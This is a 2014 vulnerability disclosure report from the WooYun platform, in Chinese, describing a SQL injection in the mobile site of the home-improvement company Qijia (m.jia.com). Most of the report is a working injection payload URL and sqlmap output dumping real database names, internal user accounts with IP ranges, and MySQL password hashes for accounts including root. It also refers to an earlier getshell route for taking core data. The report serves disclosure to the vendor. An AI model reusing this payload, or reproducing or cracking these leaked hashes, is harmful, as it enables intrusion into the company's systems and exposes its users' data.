漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-066339
漏洞标题：齐家网某漏洞可影响百万用户数据2
相关厂商：jia.com
漏洞作者： 疯子
提交时间：2014-06-26 20:26
修复时间：2014-08-10 20:28
公开时间：2014-08-10 20:28
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-26： 细节已通知厂商并且等待厂商处理中
2014-06-27： 厂商已经确认，细节仅向厂商公开
2014-07-07： 细节向核心白帽子及相关领域专家公开
2014-07-17： 细节向普通白帽子公开
2014-07-27： 细节向实习白帽子公开
2014-08-10： 细节向公众公开
简要描述：
既然你们确认了，我就多帮帮你们挖点漏洞，如果有需要可以参加众测联系301！
详细说明：
1、测试中发现m.jia.com存在注入漏洞
http://m.jia.com/index.php?a=tg_detail&act_id=22596&areaflag=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&channel_id=1&m=tg
并且也是和上一个同样的数据库，这样也就可以利用上个漏洞的getshell方法进行进一步的渗透获取核心数据 详情请参考： WooYun: 齐家网某漏洞可影响百万用户数据
漏洞证明：
sqlmap identified the following injection points with a total of 379 HTTP(s) requests:
---
Place: URI
Parameter: #2*
Type: UNION query
Title: MySQL UNION query (39) - 1 column
Payload: http://m.jia.com:80/index.php?a=tg_detail&act_id=22596&areaflag=if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"' UNION ALL SELECT CONCAT(0x716b776b71,0x43686a62735076584261,0x71796a6871)#/&channel_id=1&m=tg
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #2*
Type: UNION query
Title: MySQL UNION query (39) - 1 column
Payload: http://m.jia.com:80/index.php?a=tg_detail&act_id=22596&areaflag=if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"' UNION ALL SELECT CONCAT(0x716b776b71,0x43686a62735076584261,0x71796a6871)#/&channel_id=1&m=tg
---
web application technology: Apache
back-end DBMS: MySQL 5
available databases [13]:
[*] _del_aabb_20140609bak
[*] _del_mobile_comm_20140609bak
[*] _del_mobile_crm_jia_20140609bak
[*] _del_mobile_digital_20140609bak
[*] _del_mobile_jia_20140609bak
[*] _del_mobile_pocket_20140609bak
[*] _del_mobile_tg_20140609bak
[*] _del_xiuxiu_20140609bak
[*] ConfigDB
[*] information_schema
[*] mobile_crm
[*] mysql
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #2*
Type: UNION query
Title: MySQL UNION query (39) - 1 column
Payload: http://m.jia.com:80/index.php?a=tg_detail&act_id=22596&areaflag=if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"' UNION ALL SELECT CONCAT(0x716b776b71,0x43686a62735076584261,0x71796a6871)#/&channel_id=1&m=tg
---
web application technology: Apache
back-end DBMS: MySQL 5
database management system users [25]:
[*] %27admin%27%40%27localhost%27
[*] %27biselect%27%40%2710.10.10.120%27
[*] %27cactiuser%27%40%2710.10.20.110%27
[*] %27liweishi%27%40%2710.10.20.%25%27
[*] %27liweishi%27%40%27192.168.99.157%27
[*] %27mobile_digital%27%40%2710.10.20.%25%27
[*] %27mobileselect%27%40%2710.10.10.120%27
[*] %27monitor%27%40%27localhost%27
[*] %27root%27%40%27%25%27
[*] %27root%27%40%27127.0.0.1%27
[*] %27root%27%40%27localhost%27
[*] %27script%27%40%27%25%27
[*] %27script%27%40%27localhost%27
[*] %27tgwap%27%40%2710.10.%25.%25%27
[*] %27tgwap%27%40%2710.10.20.139%27
[*] %27tgwap%27%40%27192.168.%25.%25%27
[*] %27tgwap%27%40%27localhost%27
[*] %27us_zhjing%27%40%27192.168.99.%25%27
[*] %27usvr_backup%27%40%27%25%27
[*] %27usvr_checksums%27%40%2710.10.20.%25%27
[*] %27usvr_dbmonitor%27%40%27localhost%27
[*] %27usvr_replicate%27%40%2710.10.20.%25%27
[*] %27zhuangxiu%27%40%2710.10.%25%27
[*] %27zhuangxiu%27%40%2710.10.20.%25%27
[*] %27zhuangxiu%27%40%27192.168.%25%27
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #2*
Type: UNION query
Title: MySQL UNION query (39) - 1 column
Payload: http://m.jia.com:80/index.php?a=tg_detail&act_id=22596&areaflag=if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"' UNION ALL SELECT CONCAT(0x716b776b71,0x43686a62735076584261,0x71796a6871)#/&channel_id=1&m=tg
---
web application technology: Apache
back-end DBMS: MySQL 5
database management system users password hashes:
[*] admin [1]:
password hash: %2A0108F76A1B387B83CEACDD74221B18BF86FFEF9A
[*] biselect [1]:
password hash: %2ABF652E1DA7BD6A90A1B5E387D768841F3E35CEDA
[*] cactiuser [1]:
password hash: %2A43DD7940383044FBDE5B177730FAD3405BC6DAD7
[*] liweishi [1]:
password hash: %2A09FAB5CDD4005671FF5E9B68052B46EF400980D8
[*] mobile_digital [1]:
password hash: %2AFFFBC4FB84878A38B3BF12B3E4E24E751C9D0555
[*] mobileselect [1]:
password hash: %2A054E07DCB185488266FBBDBC46D8712966B92BA8
[*] monitor [1]:
password hash: %2AB25DC303840BB35DE25FF34226D7CCB3482BA77E
[*] root [2]:
password hash: %2A2C2C461A198E81E755233A41340908984B984877
password hash: %2A3D8D82A53A71F6E3BD29F3234EC0844505BD1122
[*] script [1]:
password hash: %2A9F711306729703C16347B99B93CC8035190CCFAE
[*] tgwap [1]:
password hash: %2A5B70591C04EB0611C2A79954EFBDDC5FBBB815CD
[*] us_zhjing [1]:
password hash: %2A8338C6A5F3E032441C77D7EFBD65BA6EE5EA1F49
[*] usvr_backup [1]:
password hash: %2AE9382B7C030E8F605A18DCC211923C0258F91AB7
[*] usvr_checksums [1]:
password hash: %2A39BF3FC1890A52A2B9090C9B2A3383C045A06172
[*] usvr_dbmonitor [1]:
password hash: %2A55770B9D02C239533CA1F1B55D486050E76F75DE
[*] usvr_replicate [1]:
password hash: %2A7FE421F5A9A6FECB19DBFF4C52BA35700D215671
[*] zhuangxiu [1]:
password hash: %2A8B88C25DFBE770095FF440727D92232D18C6E0A5
修复方案：
希望你们对安全更加重视，并且解决安全问题，保障用户的个人信息！
版权声明：转载请注明来源 疯子@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2014-06-27 09:02
厂商回复：
谢谢您的关注，我们会努力做好安全工作
最新状态：
暂无